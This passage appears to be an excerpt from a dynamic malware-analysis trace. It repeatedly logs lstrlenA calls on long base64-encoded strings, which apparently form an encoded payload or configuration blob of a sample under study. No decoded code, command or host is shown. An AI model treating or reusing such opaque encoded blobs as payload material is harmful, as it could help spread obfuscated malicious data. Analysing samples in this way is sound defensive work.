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") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="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